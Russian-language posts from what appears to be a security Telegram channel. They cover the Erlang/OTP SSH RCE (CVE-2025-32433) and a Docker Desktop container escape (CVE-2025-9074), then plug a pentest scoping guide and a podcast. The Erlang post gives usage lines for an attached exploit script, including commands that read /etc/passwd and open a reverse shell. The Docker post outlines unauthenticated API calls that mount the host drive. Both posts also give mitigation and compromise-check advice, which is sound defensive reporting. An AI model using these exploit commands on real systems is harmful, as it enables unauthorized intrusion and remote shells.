CVE-2025-32433: RCE в Erlang/OTP SSH
#CVE #RCE #SSH #erlang #IoT

Обнаружена критическая уязвимость в SSH-демоне Erlang/OTP с максимально возможным CVSS 10.0, которая активно эксплуатируется в дикой природе. Атакующие могут выполнять произвольный код без аутентификации, отправляя SSH_MSG_CHANNEL_REQUEST сообщения до завершения процедуры входа.

➡️Что такое Erlang/OTP SSH
Erlang/OTP - это платформа для создания распределенных систем, которая включает собственную реализацию SSH-сервера. Эта реализация используется в телекоммуникационном оборудовании, IoT-устройствах и промышленных системах, где требуется надежная связь между узлами.

➡️Exploit <прикрепленный файл>

Запуск

python cve-2025-32433.py <host> [options]

Чекер

python cve-2025-32433.py 127.0.0.1 --check

Выполнение команд

python cve-2025-32433.py 127.0.0.1 --c 'cat /etc/passwd'

Прокидывание reverse shell'а

python cve-2025-32433.py 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444

➡️Активная эксплуатация
TXOne Networks зафиксировала три различные кампании с апреля 2025 года:
Кампания 1 (Нидерланды): Загрузка bash-скрипта с yaso[.]su, очистка истории команд для сокрытия следов
Кампания 2 (Великобритания): Загрузка бинарного файла с 107.150.0[.]103, оставление маркера "hello_cve_2025_32433"
Кампания 3 (США): Мультиархитектурный ботнет с поддержкой x86_64 и i586, загрузка с 196.251.66[.]32

➡️Затронутые версии
- OTP-25 до 25.3.2.20
- OTP-26 до 26.2.5.11
- OTP-27 до 27.3.3

➡️Защитные меры
Немедленное обновление до исправленных версий - единственный надежный способ защиты. Временно можно отключить SSH-компонент Erlang/OTP или ограничить доступ к порту 22 через файрвол.

➡️Проверка на компрометацию

# Поиск подозрительных процессов
ps aux | grep -E "(yaso|hello_cve|top1miku)"

# Проверка сетевых соединений
netstat -an | grep :22

# Анализ логов SSH
journalctl -u ssh | grep -i erlang

🔗Дополнительная информация:
- TXOne Networks
- Exploit

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK

➡️CVE-2025-9074: Escape from Tarkov Docker Desktop

Разбираем свежий крит в Docker Desktop для Windows и macOS, которая позволяет контейнерам полностью похекать хостовую систему.

➡️Суть проблемы

CVE-2025-9074 (CVSS 9.3) - это container escape уязвимость в Docker Desktop, исправленная в версии 4.44.3. Проблема в том, что любой контейнер может подключиться к Docker Engine API по адресу 192.168.65.7:2375 без какой-либо аутентификации.

➡️Механизм атаки

Исследователь Felix Boulet показал, что эксплуатация тривиальна:
Шаг 1: POST-запрос к /containers/create с JSON payload, который монтирует диск C:\ хоста в папку контейнера /mnt/host/c:/host_root
Шаг 2: POST-запрос к /containers/{id}/start для запуска контейнера с полным доступом к файловой системе хоста
Результат: Полная компрометация хоста с правами администратора

➡️Различия по платформам

Windows: Контейнер получает полный доступ к файловой системе, может читать любые файлы, перезаписывать системные DLL и эскалировать привилегии до администратора.
macOS: Docker Desktop имеет дополнительный слой изоляции, монтирование пользовательских директорий требует разрешения. Но злоумышленник все равно получает полный контроль над Docker и может бэкдорить конфигурацию приложения.
Linux: Буква ю - .... Использует named pipe вместо TCP-сокета для API. Линь снова оказалась самой безопасной ОСью))

➡️Альтернативные векторы атаки

Помимо вредоносного контейнера, уязвимость можно эксплуатировать через SSRF:
- Если приложение позволяет проксировать HTTP-запросы
- Особенно опасно, если SSRF поддерживает POST/PATCH/DELETE методы
- Можно достучаться до Docker socket через уязвимое приложение

➡️Техническая суть

По словам исследователя Philippe Dugre (zer0x64), это была "простая недоработка" - внутренний HTTP API Docker был доступен из любого контейнера без аутентификации или контроля доступа.
Enhanced Container Isolation (ECI) не защищает от этой уязвимости, что делает её особенно опасной.

➡️Меры защиты

Немедленно: Обновиться до Docker Desktop 4.44.3+
Проверка версии: docker --version
Мониторинг: Отслеживать подозрительные HTTP-запросы к 192.168.65.7:2375
Аудит: Проверить контейнеры на наличие подозрительных примонтированных дисков

🔗Источники:
- HackerNews
- NIST

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK

[В закладки] Гайд по составлению ТЗ для внутреннего пентеста
#AD #pentest

С виду все просто: дали пентестерам доступ в сеть, они пошарились по серверам, нашли пару уязвимостей, написали отчет. Профит. Но на деле плохо подготовленная проверка легко превращается в хаотичный квест с непредсказуемым финалом.

В лучшем случае вы получите бесполезный список из сотни мелких «дыр» в принтерах и кофемашинах. В худшем — пентестеры случайно обрушат производственную линию или устроят DDoS на Active Directory. А между этими крайностями лежит целый спектр проблем: от юридических рисков, если в документе не очертить скоуп и команда выйдет за рамки дозволенного, до банального несовпадения ожиданий и результатов.

Однако всех этих неприятностей легко избежать, если подойти к планированию внутреннего пентеста основательно. В этой статье разберем, почему техническое задание — не формальность, а жизненно важный документ, и покажем, как его правильно составить. Кто-то возразит, что это утопия, и в реальности все работают иначе, но нам бы хотелось это изменить. Поверьте: оно того стоит.

🔗Читать дальше

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK

Сегодня у меня в гостях Владимир Иванов — основатель @ScanFactory и бывший пентестер, который решил автоматизировать то, что раньше делал руками. ScanFactory - это платформа автоматизированного пентеста, которая за короткое время смогла завоевать доверие российского рынка кибербеза. Сегодня с Владимиром разбираем, как превратить экспертизу пентестера в масштабируемый продукт, какую роль играет ИИ в современных сканерах уязвимостей и почему автоматизация не заменит, а дополнит человеческую экспертизу.
#подкаст

Подкаст будет интересен:
➡️Пентестерам
➡️Владельцам бизнеса
➡️Всем, кто хочет узнать больше о применении нейросетей для пентеста
➡️Тем, кто ждёт когда же людей заменит ИИ

В этом подкасте мы обсудили:
➡️Как поменялся рынок кибербеза в России за последние 15, 10, 5 лет
➡️Откуда и как возникают идеи о создании собственной компании
➡️Про карьерный рост пентестера и что он не видит, пока не начинает делать своё детище
➡️Как же создать свой продукт и не закрыться в первый год
➡️С какими сложностями можно столкнуться при создании своего сканера уязвимостей

🔗Ссылки:
💬 Слушать в Telegram
📹 YouTube
📺 RuTube
💙 VK Видео
🎵 Apple Podcasts
🎵 Яндекс.Музыка
🔤 Mave

Обязательно смотрите до конца!

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK